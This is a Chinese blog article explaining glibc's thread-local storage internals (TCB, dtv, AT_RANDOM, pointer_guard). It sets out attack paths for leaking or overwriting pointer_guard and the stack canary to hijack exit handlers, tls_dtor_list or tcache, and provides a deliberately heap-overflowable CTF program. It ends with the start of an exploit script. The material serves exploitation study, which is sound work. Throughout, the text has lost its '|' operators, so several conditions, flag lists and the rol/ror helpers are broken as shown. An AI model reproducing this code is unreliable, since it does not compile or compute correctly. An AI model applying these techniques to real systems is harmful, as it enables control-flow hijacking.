Glibc TLS的实现与利用


感谢cnitlrt师傅对本文的贡献 本文简单介绍了glibc的pointer_guard机制的原理以及绕过(利用)方法。(示例中glibc版本均为2.31) 在介绍我们今天要讲的重点之前,我们需要先了解一些前置知识。

#TLS简单介绍

要介绍pointer_guard,对TLS的介绍是绕不开的。TLS的全称为Thread Local Storage,听名字就知道是一种线程独占的本地空间,在TLS出现之前,人们只能使用pthread_getspecific以及pthread_setspecific函数来处理线程独立存储,这显然是一种效率低下的解决方案。但现在我们可以使用__thread关键字来告知编译器某一个变量应当被放入TLS,并且只需几条汇编指令就可以访问到该变量。这一切都源于编译器,链接器以及内核的密切配合。

#引子

TLS的特殊性(只能被当前线程访问和修改)使得其不能像一般的变量一样被简单的存储到ELF文件的某个段。而且TLS变量的行为也与一般的变量不同。下面我们将通过一个程序来说明这两点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <pthread.h>
#include <stdio.h>

static __thread int a = 12345; // 0x3039
__thread unsigned long long b = 56789; // 0xddd5
__thread int c;

void try(void *tmp) {
printf("try: a = %lx, b = %llx, c = %s\n", a, b, &c);
return;
}

int main(void) {
a = 0xdeadbeef;
b = 0xbadcaffe;
c = 0x61616161;
printf("main thread: a = %lx, b = %llx, c = %s\n", a, b, &c);
pthread_t pid;
pthread_create(&pid, NULL, try, NULL);
pthread_join(pid, NULL);
return 0;
}

使用gcc tls.c -pthread -g -o tls编译后运行代码,我们发现程序的输出如下:

1
2
main thread: a = deadbeef, b = badcaffe, c = aaaa
try: a = 3039, b = ddd5, c =

这里就和我们想象的情况不同了,理论上来说,abc都是全局变量,main函数中对其进行赋值之后应该会体现在try函数的输出中。然而事实上两者并没有互相影响。这正是TLS变量的强大之处,要做到能够独立的修改变量,我们最容易想到的解决方案便是申请一个变量的副本。实际上正是如此,我们使用gdb查看程序的section时,发现多出了两个section:.tdata以及.tbss,与正常的data以及bss section相似,两者分别存储已经初始化的线程变量以及未初始化的线程变量。如下图所示: Screen Shot 2020-10-02 at 17.50.54 这两个section中可以说是保存着变量的原本版本,下面我们需要研究的是变量的副本存储的位置。 观察try函数的汇编代码,我们可以看到程序在取线程变量a时使用了指令mov rdx, fs:0FFFFFFFFFFFFFFF0h。现在我们终于找到了问题的关键:fs寄存器。然而我们在查看fs寄存器的值时却看到fs寄存器的值为0,这其实是因为gdb的权限无法直接访问fs寄存器,我们可以使用fsbase指令来进行访问。如下图所示: Screen Shot 2020-10-02 at 17.59.54 令人惊讶的是,这个寄存器的值竟然指向一块mmap出的区域中,仔细一看,这个区域正是我们的栈所在的内存块。这时越来越多的东西被牵扯进来,我们离问题的核心也越来越近了。为了解决我们眼前的疑问,我们将目光转向TLS以及有关数据的结构。

#x86_64-ABI要求的TLS结构

TLS(Thread Local Storage)的结构与TCB(Thread Control Block)以及dtv(dynamic thread vector)密切相关,每一个线程中每一个使用了TLS功能的module都拥有一个TLS Block。这几者的关系如下图所示1Screen Shot 2020-10-02 at 19.42.52 根据图中显示的信息,TLS Blocks可以分为两类,一类是程序装载时就已经存在的(位于TCB前),这一部分Block被称为_static TLS_。右边的Blocks是动态分配的,它们被使用dlopen函数在程序运行时动态装载的模块所使用。 TCB作为线程控制块,保存着dtv数组的入口,dtv数组中的每一项都是TLS Block的入口,它们是指向TLS Blocks的指针。特别的,dtv数组的第一个成员是一个计数器,每当程序使用dlopen函数或者dlfree函数加载或者卸载一个具备TLS变量的module,该计数器的值都会加一,从而保证程序内版本的一致性。 特别的,ELF文件本身对应的TLS Block一定在dtv数组中占据索引为1的位置,且位置上与TCB相邻2。 还需要注意的是,图中出现了一个名为\(tp\_1\)的指针,在i386架构上,这个指针为gs段寄存器;在x86_64架构上,该指针为fs段寄存器。由于该指针与ELF文件本身对应的TLS Block之间的偏移是固定的,程序在编译时就可以将ELF中线程变量的地址硬编码到目标文件中。

#Glibc的TLS实现

接下来,我们通过源码来理解Glibc中TLS的具体实现方法。我们首先来研究多线程的情形。

#非主线程情形

#TCB结构体以及static TLS的空间分配

在函数pthread_create中存在下面一条调用链:

1
pthread_create -> ALLOC_STACK

ALLOCATE_STACK函数通过下面的操作来为新线程分配栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
mem = __mmap (NULL, size, (guardsize == 0) ? prot : PROT_NONE, MAP_PRIVATE  MAP_ANONYMOUS  MAP_STACK, -1, 0);
/* 使用mmap函数来分配一块匿名映射来作为我们的新栈 */
/* !!! omitted some code !!! */
/* 将thread descriptor(pd指针指向的结构体)放到新栈的栈底 */
pd = (struct pthread *) ((((uintptr_t) mem + size)
- TLS_TCB_SIZE)
& ~__static_tls_align_m1);
/* 进行这一步操作后内存布局如下:
*
* TLS_TCB_SIZE
* ^
* +-----------+----------+
*
* ---------------------+----------------------------+
*
* pad
*
* ---------------------+----------------------------+
* ^ ^
* + +
* pd mmap area end
*
*/

/* !!! omitted some code !!! */

/* Allocate the DTV for this thread. */
if (_dl_allocate_tls (TLS_TPADJ (pd)) == NULL)
{
/* Something went wrong. */
assert (errno == ENOMEM);

/* Free the stack memory we just allocated. */
(void) __munmap (mem, size);

return errno;
}

可以看到,新栈的底部被分配了一个容纳pd结构体的空间,该结构体的类型为struct pthread,我们称其为一个thread descriptor,该结构体的第一个域为tchhead_t类型,其定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
unsigned long int vgetcpu_cache[2];
/* Bit 0: X86_FEATURE_1_IBT.
Bit 1: X86_FEATURE_1_SHSTK.
*/
unsigned int feature_1;
int __glibc_unused1;
/* Reservation of some values for the TM ABI. */
void *__private_tm[4];
/* GCC split stack support. */
void *__private_ss;
/* The lowest address of shadow stack, */
unsigned long long int ssp_base;
/* Must be kept even if it is no longer used by glibc since programs,
like AddressSanitizer, depend on the size of tcbhead_t. */
__128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));

void *__padding[8];
} tcbhead_t;

可以看到,这就是我们之前提到的TCB结构体的具体实现。

#父线程TCB的继承
1
2
3
4
5
6
7
8
9
  /* Copy the stack guard canary.  */
#ifdef THREAD_COPY_STACK_GUARD
THREAD_COPY_STACK_GUARD (pd);
#endif

/* Copy the pointer guard value. */
#ifdef THREAD_COPY_POINTER_GUARD
THREAD_COPY_POINTER_GUARD (pd);
#endif

在栈分配之后,我们在pthread函数中看到了上面这样的代码。将宏展开后可以看到内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/* Read member of the thread descriptor directly.  */
# define THREAD_GETMEM(descr, member) \
({ __typeof (descr->member) __value; \
if (sizeof (__value) == 1) \
asm volatile ("movb %%fs:%P2,%b0" \
: "=q" (__value) \
: "0" (0), "i" (offsetof (struct pthread, member))); \
else if (sizeof (__value) == 4) \
asm volatile ("movl %%fs:%P1,%0" \
: "=r" (__value) \
: "i" (offsetof (struct pthread, member))); \
else \
{ \
if (sizeof (__value) != 8) \
/* There should not be any value with a size other than 1, \
4 or 8. */ \
abort (); \
\
asm volatile ("movq %%fs:%P1,%q0" \
: "=r" (__value) \
: "i" (offsetof (struct pthread, member))); \
} \
__value; })

# define THREAD_COPY_STACK_GUARD(descr) \
((descr)->header.stack_guard \
= THREAD_GETMEM (THREAD_SELF, header.stack_guard))

不难看出,这一段的作用是将父进程的canary复制到当前进程的TCB结构体中。事实上,在fs寄存器尚未被改变之前,其中存放着父进程的TCB地址,我们可以使用THREAD_SELF宏来获取父线程的TCB指针:

1
2
3
4
5
# define THREAD_SELF \
({ struct pthread *__self; \
asm ("mov %%fs:%c1,%0" : "=r" (__self) \
: "i" (offsetof (struct pthread, header.self))); \
__self;})

借由这个trick,子线程从父线程继承了数个TCB的域,这里不再一一叙述,仅作了解。

#dtv实现简介

那么我们可以沿着这条线索找到dtv数组以及TLS Blocks的具体实现。首先查看dtv_t类型的定义:

1
2
3
4
5
6
7
8
9
10
11
12
struct dtv_pointer
{
void *val; /* Pointer to data, or TLS_DTV_UNALLOCATED. */
void *to_free; /* Unaligned pointer, for deallocation. */
};

/* Type for the dtv. */
typedef union dtv
{
size_t counter;
struct dtv_pointer pointer;
} dtv_t;

可以看到该类型是一个联合,其值有可能是一个counter,该counter在dtv[-1]以及dtv[0]这个成员使用,标志dtv数组中的入口个数;其值也有可能是一个dtv_pointer结构体,其中的成员指向一个TLS Block。如下图所示: Screen Shot 2020-10-03 at 11.25.25 需要注意的是dtv使用module ID作为索引,程序装载的每一个module都会有一个module ID,这个值存在于这个module对应的link_map结构体中,该结构体中的相关成员如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
    /* 与TLS有关的内容  */

/* TLS segment的起始地址,TLS segment由两部分组成,分别是tdata和tbss,存放初始化和未初始化的全局变量
* 该segment在module被装载的时候映射的内存中,作为每一个线程初始化TLS Blocks时的模版 */
void *l_tls_initimage;
/* TLS segment在文件中的大小(仅.tdata的大小) */
size_t l_tls_initimage_size;
/* TLS segment在内存中的大小(.data加上.tbss的大小)*/
size_t l_tls_blocksize;
/* TLS Block的对齐标准 */
size_t l_tls_align;
/* 符合对齐要求的第一个字节的偏移 */
size_t l_tls_firstbyte_offset;
#ifndef NO_TLS_OFFSET
# define NO_TLS_OFFSET 0
#endif
#ifndef FORCED_DYNAMIC_TLS_OFFSET
# if NO_TLS_OFFSET == 0
# define FORCED_DYNAMIC_TLS_OFFSET -1
# elif NO_TLS_OFFSET == -1
# define FORCED_DYNAMIC_TLS_OFFSET -2
# else
# error "FORCED_DYNAMIC_TLS_OFFSET is not defined"
# endif
#endif
/* 对于程序加载时就装载了的模块,该变量标示本模块对应的TLS Block在static TLS中的偏移. */
ptrdiff_t l_tls_offset;
/* 本模块在dtv数组中的索引 */
size_t l_tls_modid;

/* 由该动态链接库构造的tls变量的数量 */
size_t l_tls_dtor_count;
#dtv数组的空间分配

我们接着本节开头的调用链继续往下看,可以看到如下调用:

1
pthread_create -> ALLOC_STACK -> _dl_allocate_tls -> allocate_dtv ->  _dl_allocate_tls_init

首先,程序在allocate_dtv函数中为dtv数组分配空间:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static void *
allocate_dtv (void *result)
{
dtv_t *dtv;
size_t dtv_length;

dtv_length = GL(dl_tls_max_dtv_idx) + DTV_SURPLUS;
dtv = calloc (dtv_length + 2, sizeof (dtv_t));
if (dtv != NULL)
{
/* dtv长度的初始值 */
dtv[0].counter = dtv_length;

/* dtv的余下部分被初始化为0,来表示这里什么也没有 */

/* 将dtv加入到线程描述符中 */
INSTALL_DTV (result, dtv);
}
else
result = NULL;

return result;
}

我们可以看到程序在堆里面申请了一块区域赋值给dtv,然后利用INSTALL_DTV (result, dtv);宏进行了一些操作,我们将宏展开,得到下面的代码

1
(tcbhead_t *) (result))->dtv = (dtv) + 1

到这一步为止,TCB中指向的dtv数组的空间已经被成功分配。

#static TLS以及fs的初始化

下面我们来看_dl_allocate_tls_init函数中进行的初始化工作: 从宏观上来说,该函数进行了一次对link_map的遍历,并且对于link_map链表中的每一个节点(对应一个模块)都进行了如下操作:

1
2
3
4
5
6
7
8
9
10
/* result指针指向TCB结构体, map为link map的一个节点 */
dest = (char *) result - map->l_tls_offset;

/* 设置DTV entry,一些平台在静态链接的程序中使用的简化版的__tls_get_addr需要这个值 */
dtv[map->l_tls_modid].pointer.val = dest;

/* 复制初始镜像,并将bss段清零 */
memset (__mempcpy (dest, map->l_tls_initimage,
map->l_tls_initimage_size), '\0',
map->l_tls_blocksize - map->l_tls_initimage_size);

对每一个module进行这一步操作后,(不考虑dlopen,dlfree)我们的TLS已经被初始化完成了。这时我们还留有最后一个疑问:谁设置了fs寄存器? 我们知道,fs寄存器是用户态程序无法设置,我们只能通过系统调用进行设置。因此我们使用strace -f ./tls命令来跟踪程序执行中的系统调用,如我们所料,我们在clone系统调用中发现了如下参数:

1
clone(child_stack=0x7fa882eeffb0, flags=CLONE_VMCLONE_FSCLONE_FILESCLONE_SIGHANDCLONE_THREADCLONE_SYSVSEMCLONE_SETTLSCLONE_PARENT_SETTIDCLONE_CHILD_CLEARTID, parent_tid=[37577], tls=0x7fa882ef0700, child_tidptr=0x7fa882ef09d0) = 37577

进而查找glibc中pthread_create函数对clone的调用,我们找到如下调用链在TCB被设置之后完成:

1
pthread_create -> create_thread -> clone syscall

其中clone处的代码为:

1
2
3
4
5
6
7
8
9
10
11
12
  const int clone_flags = (CLONE_VM  CLONE_FS  CLONE_FILES  CLONE_SYSVSEM
CLONE_SIGHAND CLONE_THREAD
CLONE_SETTLS CLONE_PARENT_SETTID
CLONE_CHILD_CLEARTID
0);

TLS_DEFINE_INIT_TP (tp, pd);

if (__glibc_unlikely (ARCH_CLONE (&start_thread, STACK_VARIABLES_ARGS,
clone_flags, pd, &pd->tid, tp, &pd->tid)
== -1))
return errno;

可以看到,之前设置的pd指针被作为参数传给了clone系统调用作为新的tls。 进而在linux内核代码中,有如下调用链:

1
clone -> _do_fork -> copy_process -> copy_thread_tls -> do_arch_prctl_64

在这里,我们见到了在Linux中真正用来设置fs寄存器的系统调用:arch_prctl,在下面主线程情形的分析中,我们将会再次见到它。

#主线程情形

#概述

现在我们已经知道了arch_prctl系统调用用来设置fs寄存器,那么接下来我们只需使用gdb设置catchpoint即可找到主线程初始化时设置TLS的大致位置,如下图所示: Screen Shot 2020-10-03 at 14.47.52 可以看到,关键位置在dl_main函数调用的init_tls函数中,我们可以在GNU的文档中看到相关的调用如下3

  • dl.so ELF headers point its start at _start.
  • _start (sysdeps/i386/dl-machine.h) calls _dl_start.
  • _dl_start (elf/rtld.c) initializes bootstrap_map, calls _dl_start_final
  • _dl_start_final calls _dl_sysdep_start.
  • _dl_sysdep_start (sysdeps/mach/hurd/dl-sysdep.c) calls __mach_init to initialize enough to run RPCs, then calls _hurd_startup.
  • _hurd_startup (hurd/hurdstartup.c) gets hurdish information from servers and calls its main parameter.
  • the main parameter was actually go inside _dl_sysdep_start, which calls dl_main.
  • dl_main (elf/rtld.c) interprets ld.so parameters, loads the binary and libraries, calls _dl_allocate_tls_init.

我门可以看到,ld在装载了所有的module之后调用_dl_allocate_tls_init.进行TLS的初始化工作,然而实际上dl_mian函数中进行的初始化工作不止这一处,有关的所有源码按顺序列举如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
  // part I
bool was_tls_init_tp_called = tls_init_tp_called;
if (tcbp == NULL)
tcbp = init_tls ();

if (__glibc_likely (need_security_init))
/* Initialize security features. But only if we have not done it
earlier. */
security_init ();

// part II
if ((!was_tls_init_tp_called && GL(dl_tls_max_dtv_idx) > 0) count_modids != _dl_count_modids ())
++GL(dl_tls_generation);

_dl_allocate_tls_init (tcbp);

/* And finally install it for the main thread. */
if (! tls_init_tp_called)
{
const char *lossage = TLS_INIT_TP (tcbp);
if (__glibc_unlikely (lossage != NULL))
_dl_fatal_printf ("cannot set up thread-local storage: %s\n", lossage);
}
#init_tls:空间分配以及fs的设置

init_tls函数首先初始化了一些关于TLS的metadata,受篇幅所限不再赘述。我们把目光集中在该函数调用的_dl_allocate_tls_storage函数上,该函数源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void *
_dl_allocate_tls_storage (void)
{
void *result;
size_t size = GL(dl_tls_static_size);
// 该变量存储着static TLS以及TCB的总大小,在elf/dl-tls.c中的_dl_determine_tlsoffset函数被赋值
/* GL(dl_tls_static_size) = (roundup (offset + TLS_STATIC_SURPLUS, max_align) + TLS_TCB_SIZE); */

size_t alignment = GL(dl_tls_static_align);
void *allocated = malloc (size + alignment + sizeof (void *));
if (__glibc_unlikely (allocated == NULL))
return NULL;

void *aligned = (void *) roundup ((uintptr_t) allocated, alignment); // 内存对齐
result = aligned + size - TLS_TCB_SIZE;

memset (result, '\0', TLS_TCB_SIZE); // 将TCB清空

*tcb_to_pointer_to_free_location (result) = allocated;

result = allocate_dtv (result);
if (result == NULL)
// 如果dtv不存在,那么TCB也就没有存在的意义了
free (allocated);
return result;
}

本函数分为两个部分,第一部分作用为为TCB以及static TLS分配空间,这一过程使用了一个名为malloc的函数,但注意这个malloc并非glibc中实现的ptmalloc,而是ld中独立实现的一个内存管理功能。该函数会mmap一块内存作为分配区,然后利用指向分配区中的指针的加减来实现内存的增加与减少(这是一个非常简单的实现,有兴趣可以自行查阅源码,只有几十行) 第二部分的作用为为dtv分配空间,由于上面我们malloc的时候已经mmap过足够的空间,这一部分allocate_dtv函数调用calloc函数时会直接使用上次malloc剩下的内存,申请过后内存布局如下(忽略padding):

1
2
3
4
5
6
7
+---------------------+-------------------+-------------------------------+

static TLS TCB Structure dtv array

+---------------------+-+-------------------------------------------------+
^
+-----------------+

进行空间分配之后,init_tls的剩余部分会调用arch_prctl系统调用来进行fs寄存器的设置,然后经过检查之后函数返回。

#security_init:TCB安全功能的初始化

那么init_tls函数的内容就到此结束了,下面我们将目光移向下一个函数security_init,该函数初始化了一些与安全有关的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static void
security_init (void)
{
/* Set up the stack checker's canary. */
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
#ifdef THREAD_SET_STACK_GUARD
THREAD_SET_STACK_GUARD (stack_chk_guard);
#else
__stack_chk_guard = stack_chk_guard;
#endif

/* Set up the pointer guard as well, if necessary. */
uintptr_t pointer_chk_guard
= _dl_setup_pointer_guard (_dl_random, stack_chk_guard);
#ifdef THREAD_SET_POINTER_GUARD
THREAD_SET_POINTER_GUARD (pointer_chk_guard);
#endif
__pointer_chk_guard_local = pointer_chk_guard;

/* We do not need the _dl_random value anymore. The less
information we leave behind, the better, so clear the
variable. */
_dl_random = NULL;
}

这一段代码很简单,基本作用如图所示:

1
2
3
4
5
6
7
8
9
10
                     Stack                        Part of TCB
_dl_random --> +---------------+ clear lowest +---------------+
1 byte
+-----------> canary

+---------------+ +---------------+

+-----------> pointer_guard

+---------------+ +---------------+

那么现在我们要解决的问题就是找到_dl_random指针的来源

#_dl_random:一座桥梁

我们首先对该变量下一个写断点来查找它被赋值的位置,最终我们找到了_dl_sysdep_start函数中的如下代码:

1
2
3
4
5
6
7
8
for (av = GLRO(dl_auxv); av->a_type != AT_NULL; set_seen (av++))
switch (av->a_type)
{
/* 省略 */
case AT_RANDOM:
_dl_random = (void *) av->a_un.a_val;
/* 省略 */
}

如果你对SROP技术中泄露vdso地址的方法有印象的话,你一定会记得一个位于栈中的数据结构:Auxiliary Vector。该数组由内核创建,其中给出了一些关于当前进程的辅助信息。一个典型的Auxiliary Vector大致如下所示: Screen Shot 2020-10-10 at 11.37.52 而我们的_dl_sysdep_start函数中的这一段switch语句正是遍历了这个数组,取其中AT_RANDOM对应的这一项的值,赋值给了_dl_random指针。 下面我们再来看该指针指向的位置。我们经过简单的实验即可发现,该值在_dl_start函数被调用之前就存在了。因此我们合理推测该值是由内核设置的。经过对内核源码的深入挖掘,我们发现了下面这条调用链4: ```  load_elf_binary -> create_elf_tables

1
2
3
4
5
6
7
8
9
10
11
在`create_elf_tables`函数中,我们发现了如下代码:

```C
/*
* Generate 16 random bytes for userspace PRNG seeding.
*/
get_random_bytes(k_rand_bytes, sizeof(k_rand_bytes));
u_rand_bytes = (elf_addr_t __user *)
STACK_ALLOC(p, sizeof(k_rand_bytes)); // 就是sp - size
if (__copy_to_user(u_rand_bytes, k_rand_bytes, sizeof(k_rand_bytes)))
return -EFAULT;

可以看到这段代码的流程:首先获取了16个随机字节,然后将得到的这些数据压栈。这一个简单的操作其实正是本文议题的起源,这看似平平无奇的16个字节,实际上在程序用户态的后续操作中进入了TCB结构体,被用来当作对指针的加密措施以及栈canary。 接下来还有如下代码设置了Auxiliary Vector中的AT_RANDOM入口,也正是该入口的值在上述的用户态启动进程中赋值给了_dl_random。(这或许为某种格式化字符串攻击提供了条件,因为这16个字节中间很少出现00截断。

1
2
3
4
5
6
7
8
9
10
11
/* Create the ELF interpreter info */
elf_info = (elf_addr_t *)current->mm->saved_auxv;
/* update AT_VECTOR_SIZE_BASE if the number of NEW_AUX_ENT() changes */
#define NEW_AUX_ENT(id, val) \
do { \
elf_info[ei_index++] = id; \
elf_info[ei_index++] = val; \
} while (0)

/* 省略 */
NEW_AUX_ENT(AT_RANDOM, (elf_addr_t)(unsigned long)u_rand_bytes);

在进行了上述操作后,栈结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
                 +----------------+

Auxiliary Vector AT_RANDOM ptr +-----+

+----------------+
...
+----------------+

random bytes <-----+

+----------------+

'x86_64\x00'

+----------------+

padding

+----------------+

argv & envp
string

那么对_dl_random的介绍就到此为止了,让我们回到正题。

#_dl_allocate_tls_init:TLS的初始化

这一步操作很简单,参见上面的static TLS以及fs的初始化一节。注意此时该函数的result参数为上面init_tls函数的返回值,这个指针指向fsbase,位于一块之前mmap出来的地址中。 最后,TLS_INIT_TP宏调用了arch_prctl,该系统调用进行了fs寄存器的设置。 主线程情形的分析到此结束。

#TLS安全机制简单介绍

我们首先利用两个big picture来复习一下上面提到的内容: 之前我们对机制谈论了那么多,但实际上我们现在最需要了解的实际上是TLS有关的安全机制。

#stack canary

对于stack canary,我们不做过多的叙述。相关的利用方式大家可能已经十分了解,我们将在后面的例二中讲解这一点。

#pointer guard

这是我们要重点讲述,也是经常被忽略的一个机制。在Glibc中,有下面两个宏:

1
2
3
4
5
6
7
8
9
10
11
12
13
#  define PTR_MANGLE(var)   asm ("xor %%fs:%c2, %0\n"             \
"rol $2*" LP_SIZE "+1, %0" \
: "=r" (var) \
: "0" (var), \
"i" (offsetof (tcbhead_t, \
pointer_guard)))
# define PTR_DEMANGLE(var) asm ("ror $2*" LP_SIZE "+1, %0\n" \
"xor %%fs:%c2, %0" \
: "=r" (var) \
: "0" (var), \
"i" (offsetof (tcbhead_t, \
pointer_guard)))
// 64位情况下,LP_SIZE为0x10

可以看到这两个宏利用pointer_guard分别对指针进行了加密和解密操作,加密由一次异或以及一次bitwise rotate组成。加密使用的key来自fs:[offsetof(tcbhead_t, pointer_guard)],也就是我们这一小节的议题。接下来我们将对加密和解密的脆弱性进行解析。 利用pointer_guard进行加密的过程可以表示为rol(ptr ^ pointer_guard, 0x11, 64),解密的过程为ror(enc, 0x11, 64) ^ pointer_guard。那么假设现在我们知道了enc和ptr两个值,我们就可以通过这个算式来计算出pointer_guard(64位情况)5

1
pointer_guard = ror (enc, 0x11, 64) ^ ptr 

同时假设我们获得了对pointer_guard的任意写,并且已知会调用一个函数指针enc,以及恶意地址evil_ptr,我们可以通过修改pointer_guardevil_guard来将解密后的指针导向恶意地址,转换关系如下:

1
evil_guard = ror (enc, 0x11, 64) ^ evil_ptr

关于pointer_guard的内容到此结束,下面我们根据上面所说的知识来进行一个知识点的总结。

#关于TLS的攻击面总结

check上的是已经实践并且成功的(有尝试成功的师傅请联系我qq:1509684914)

#TLS读写方法:

  • 主线程情形

    • 利用前一篇文章说过的mmap的特性,在libc地址已经泄露的情况下对libc地址加上某个特定的偏移,利用任意地址读写直接操作TCB结构(这里我们假定libc与TLS之间的偏移是固定的,在下一篇文章《线性区的分配与ASLR》中我们会看到理论依据)

    • 通过栈泄露pointer_guard以及canary(通常适用于格式化字符串攻击,根据cnitlrt师傅提供的思路,在堆题中可以将__free_hook劫持为printf函数,注意前面说过,这两组数据在栈中存在一份副本,并且Auxiliary Vector中存在指向它们的指针))

    • 通过泄露libc中已经利用pointer_guard加密过的函数地址(如_dl_fini,其加密后的地址在__exit_funcs数组中,真实的地址可以用libc基地址计算得到),然后利用真实地址进行逆运算解出pointer_guard

    • 修改global_max_fast然后通过free一个较大的chunk来将该chunk的地址写入到canary或者pointer_guard中)。

  • 非主线程情形:

    • 因为这时TCB结构体也在栈上。对于一个足够长的栈溢出,我们很容易覆盖tack_guard以及pointer_guard。注意static TLS在此种情况下是位于TCB结构体之前的,也就是说我们可以同时覆盖一些TLS变量。后面我们会给出具体的例子来介绍这种利用方式。

#具体攻击路径

  1. 由于tcache是一个TLS变量,且该变量没有任何保护,可以写tcache来劫持整个tcache链表。

  2. 泄露pointer_guard后可以劫持exit函数的流程,可以劫持__exit_funcs数组来执行函数列表,但这种方法只能控制一个函数参数。

  3. 同样是泄露pointer_guard,但之后可以劫持tls_dtor_list(主线程情形需要任意地址写,非主线程需要任意地址写或者栈溢出),进而构造dtor_list结构体控制rdiobj域)和rdxnext域),进而利用setcontext+53来进行SROP。此方法适用于目前所有主流libc版本

  4. 在任意地址写情况下,如果已知一个确切的利用pointer_guard解密指针的位置(如printf函数中就存在这样的调用),可以通过修改pointer_guard来使解密后的函数指针指向one_gadget,进而getshell。

  5. 泄露或写入stack_canary来绕过canary机制(注意主线程的stack_canary和子线程的一样,并且修改主线程的stack_canary之后创建的子线程的canary也会被修改)

#示例程序(攻击路径三)

下面是一个简单的堆溢出题。 在堆利用的过程中,如果遇到比较苛刻的情况(如开启了沙箱,只能orw读取flag)。那么我们常常会采用FSOP技术来劫持控制流,最终利用ROP来进行flag的读取。 首先,示例程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <seccomp.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <sys/syscall.h>

char *chunks[32];
size_t sizes[32];

unsigned int get_num(void) {
char buf[8] = {0};
read(0, buf, 8);
return atoi(buf);
}

void title(void) {
printf("Here is your diary.\n");
printf("You can write anything here, your information is properly protected and everything will be destoryed when you leave.\n");
}

void keep_safe(void) {
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
struct sock_filter sfi[] = {
{0x20,0x00,0x00,0x00000004},
{0x15,0x00,0x09,0xc000003e},
{0x20,0x00,0x00,0x00000000},
{0x35,0x07,0x00,0x40000000},
{0x15,0x06,0x00,0x0000003b},
{0x15,0x00,0x04,0x00000001},
{0x20,0x00,0x00,0x00000024},
{0x15,0x00,0x02,0x00000000},
{0x20,0x00,0x00,0x00000020},
{0x15,0x01,0x00,0x00000010},
{0x06,0x00,0x00,0x7fff0000},
{0x06,0x00,0x00,0x00000000}
};
struct sock_fprog sfp = {12,sfi};
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&sfp);
}


void add(void) {
printf("Give me your idx: ");
size_t idx = get_num();
if (chunks[idx] idx >= 32) {
return;
}
printf("Give me your size: ");
size_t size = get_num();

chunks[idx] = malloc(size);
sizes[idx] = size;
return;
}

void show(void) {
printf("Give me your idx: ");
size_t idx = get_num();
if (!chunks[idx] idx >= 32) {
return;
}
write(1, chunks[idx], sizes[idx]);
return;
}

void del(void) {
printf("Give me your idx: ");
size_t idx = get_num();
if (!chunks[idx] idx >= 32) {
return;
}
free(chunks[idx]);
chunks[idx] = 0;
sizes[idx] = 0;

}

void edit(void) {
printf("Give me your idx: ");
size_t idx = get_num();
if (!chunks[idx] idx >= 32) {
return;
}
printf("Give me your content: ");
read(0, chunks[idx], 0x100);
return;
}

void menu(void) {
printf("Menu: \n");
printf("1. Add\n");
printf("2. Delete\n");
printf("3. Show\n");
printf("4. Edit\n");
}

int main(void) {
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
keep_safe();
title();

while (1) {
menu();
int choice = get_num();
switch (choice) {
case 1:
add();
break;
case 2:
del();
break;
case 3:
show();
break;
case 4:
edit();
break;
default:
break;
}
}
return 0;
}

编译时保护全开。

#EXP

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
from sys import argv
from autopwn.core import *
from ctypes import *

def mask1(n):

if n >= 0:
return 2**n - 1
else:
return 0

def ror(n, d, width=8):
d %= width * 8 # width bytes give 8*bytes bits
if d < 1:
return n
mask = mask1(8 * width)
return ((n >> d) (n << (8 * width - d))) & mask

def rol(n, d, width=8):
d %= width * 8
if d < 1:
return n
mask = mask1(8 * width)
return ((n << d) (n >> (width * 8 - d))) & mask

def ptr_demangle(ptr, key, LP_SIZE):
tmp = ror(ptr, LP_SIZE * 2 + 1, LP_SIZE)
return tmp ^ key

